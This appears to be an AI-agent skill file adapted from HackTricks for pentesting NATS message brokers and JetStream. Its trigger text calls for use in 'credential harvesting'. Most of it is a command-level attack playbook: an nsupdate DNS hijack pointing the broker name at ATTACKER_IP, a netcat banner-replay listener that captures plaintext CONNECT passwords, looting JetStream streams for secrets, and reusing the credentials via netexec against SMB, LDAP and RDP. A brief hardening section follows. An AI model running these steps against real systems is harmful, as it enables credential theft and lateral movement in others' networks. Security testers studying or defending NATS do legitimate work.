Hacktricks-skills nats-pentesting

Pentest NATS message bus and JetStream services. Use this skill whenever you need to enumerate, exploit, or assess NATS servers (port 4222/tcp), capture credentials via DNS hijacking, loot JetStream streams for secrets, or harden NATS deployments. Trigger this skill for any NATS-related security testing, credential harvesting, or message broker assessment tasks.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/network-services-pentesting/4222-pentesting-nats/SKILL.MD
source content

NATS / JetStream Pentesting

A skill for security testing NATS message bus and JetStream persistence layers. NATS is a high-performance message broker that often runs with plaintext authentication, making it a valuable target for credential theft and lateral movement.

Quick Start

# Check if NATS is running and grab the banner
echo | nc TARGET 4222

# If auth is required, you'll see: -ERR 'Authorization Violation'
# The INFO banner reveals: version, auth_required, jetstream, max_payload

Enumeration

1. Service Discovery

Use nmap to identify NATS services and extract version info:

nmap -p4222 -sV --script banner TARGET

Expected output:

4222/tcp open  nats  NATS.io gnatsd 2.11.3
| banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}

Key banner fields to note:

  • auth_required
    : true/false - whether credentials are needed
  • jetstream
    : true/false - persistence layer enabled
  • tls_required
    : true/false - encryption enforced
  • max_payload
    : max message size in bytes
  • version
    : NATS server version (check for known CVEs)

2. Manual Banner Grabbing

echo | nc HOST 4222

This returns the INFO frame. If authentication is required, you'll immediately see

-ERR 'Authorization Violation'
after the banner.

3. NATS CLI Setup

Install the official CLI for deeper interaction (requires Go ≥1.21):

go install github.com/nats-io/natscli/nats@latest

Test connectivity:

nats -s nats://HOST:4222 rtt

If authentication is required, you'll get

nats: Authorization Violation
until you provide valid credentials.

Credential Capture

DNS Hijacking Attack

NATS clients connect to broker hostnames. If you can control DNS records, you can intercept credentials:

Prerequisites:

  • Low-privileged domain user with DNS update permissions
  • Stale or missing DNS record for the NATS broker hostname

Attack flow:

  1. Identify the broker hostname (e.g.,

    nats-svc.domain.local
    )

  2. Verify the record is stale or missing:

    nslookup nats-svc.domain.local
    # Should return NXDOMAIN or point to wrong IP
    
  3. Register the hostname to your attacker IP:

    nsupdate
    > server DC_IP
    > update add nats-svc.domain.local 60 A ATTACKER_IP
    > send
    
  4. Capture the legitimate banner once:

    nc REAL_NATS 4222 | head -1 > banner.txt
    
  5. Replay the banner to connecting clients:

    cat banner.txt | nc -lnvp 4222
    

    Or for a live relay:

    nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
    
  6. Harvest credentials: When clients connect, they send a plaintext

    CONNECT
    frame:

    CONNECT {"user":"USERNAME","pass":"PASSWORD","verbose":false,"pedantic":false,"protocol":1,"client_id":"..."}
    

Advanced credential capture:

For longer engagements, run a local NATS server with TRACE logging:

git clone https://github.com/nats-io/nats-server
cd nats-server
go build
./nats-server -DV  # -D for debug, -V for trace

TRACE logs show usernames; remove redaction or use Wireshark to capture full passwords.

JetStream Looting

Once you have credentials, explore JetStream for stored secrets:

1. Configure CLI Context

nats context add <name> -s nats://HOST:4222 --user USERNAME --password PASSWORD

Example:

nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'

2. Enumerate Streams

# Check account info
nats account info --context <name>

# List all streams
nats stream list --context <name>

# Get stream details
nats stream info <stream_name> --context <name>

# View stream contents
nats stream view <stream_name> --context <name>

3. Hunt for Secrets

Common stream names that may contain credentials:

  • auth_logs
  • logs.auth
  • authentication
  • credentials
  • secrets
  • api_keys

Look for JSON payloads with plaintext credentials:

{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}

4. Credential Reuse

Extracted credentials can be tested against other services:

# SMB/Kerberos
netexec smb DC01 -u USER -p PASS -k

# LDAP
netexec ldap DC01 -u USER -p PASS -k

# RDP
netexec rdp DC01 -u USER -p PASS -k

Exploitation Patterns

Pattern 1: Banner Grab → DNS Hijack → Credential Theft

  1. Identify NATS broker hostname from network enumeration
  2. Check if DNS record is stale or missing
  3. Register hostname to attacker IP
  4. Relay banner and capture CONNECT frames
  5. Extract credentials from plaintext CONNECT messages

Pattern 2: Known Credentials → JetStream Looting

  1. Use existing credentials to connect to NATS
  2. List all JetStream streams
  3. Search for streams containing auth logs or secrets
  4. Extract plaintext credentials from message payloads
  5. Pivot to other services using harvested credentials

Pattern 3: Unauthenticated Access → Data Exfiltration

If

auth_required: false
in the banner:

# Subscribe to all subjects
nats sub "*" --context <name>

# Publish test messages
nats pub test.subject "Hello NATS"

# View all streams without auth
nats stream list

Hardening Recommendations

Server Configuration

  1. Enforce TLS:

    # In nats-server.conf
    tls {
      cert: /path/to/cert.pem
      key: /path/to/key.pem
    }
    # Or require TLS
    tls {
      cert: /path/to/cert.pem
      key: /path/to/key.pem
      verify: true
    }
    
  2. Use mTLS with nkeys:

    # Generate nkey pair
    nats server nkey gen
    # Configure server to require nkey authentication
    
  3. Disable credential logging:

    • Scrub secrets before publishing to subjects
    • Set JetStream retention limits
    • Apply
      deny_delete=false
      only to trusted operators

Network Security

  1. Pinpoint DNS update permissions:

    • Delegate service records to dedicated accounts
    • Audit Event IDs 257/252 for high-value hostnames
    • Enable scavenging alerts for missing broker names
  2. Monitor for anomalies:

    • Repeated short-lived connections
    • Authentication timeouts
    • INFO banners that don't match the blessed template
  3. Network segmentation:

    • Isolate NATS brokers from untrusted networks
    • Use firewalls to restrict access to port 4222
    • Implement network-level authentication

Common Vulnerabilities

VulnerabilityDescriptionImpact
Plaintext AUTHCredentials sent unencryptedCredential theft
DNS HijackingStale records allow impersonationMan-in-the-middle
JetStream LoggingSecrets stored in streamsData exfiltration
No TLSAll traffic visible on networkFull traffic capture
Weak CredentialsSimple passwords in CONNECT framesBrute force success

Tools Reference

ToolPurposeCommand
nmapService discovery
nmap -p4222 -sV --script banner TARGET
ncBanner grabbing`echo \
nats CLIFull interaction
nats -s nats://HOST:4222 <command>
nsupdateDNS manipulation
nsupdate
interactive mode
netexecCredential testing
netexec smb DC01 -u USER -p PASS -k

Example Workflow

# Step 1: Discover NATS service
nmap -p4222 -sV --script banner 10.10.10.50

# Step 2: Grab banner manually
echo | nc 10.10.10.50 4222
# INFO {"auth_required":true,"jetstream":true,...}

# Step 3: Check DNS for broker hostname
nslookup nats-svc.domain.local
# NXDOMAIN - opportunity for hijack!

# Step 4: Register DNS record
nsupdate
> server 10.10.10.5
> update add nats-svc.domain.local 60 A 10.10.14.5
> send

# Step 5: Capture credentials
cat banner.txt | nc -lnvp 4222
# Wait for client connection, capture CONNECT frame

# Step 6: Use credentials on JetStream
nats context add mirage -s nats://10.10.10.50:4222 --user captured_user --password 'captured_pass'
nats stream list --context mirage
nats stream view auth_logs --context mirage

# Step 7: Pivot with harvested credentials
netexec smb dc01.domain.local -u david.jjackson -p 'pN8kQmn6b86!1234@' -k

References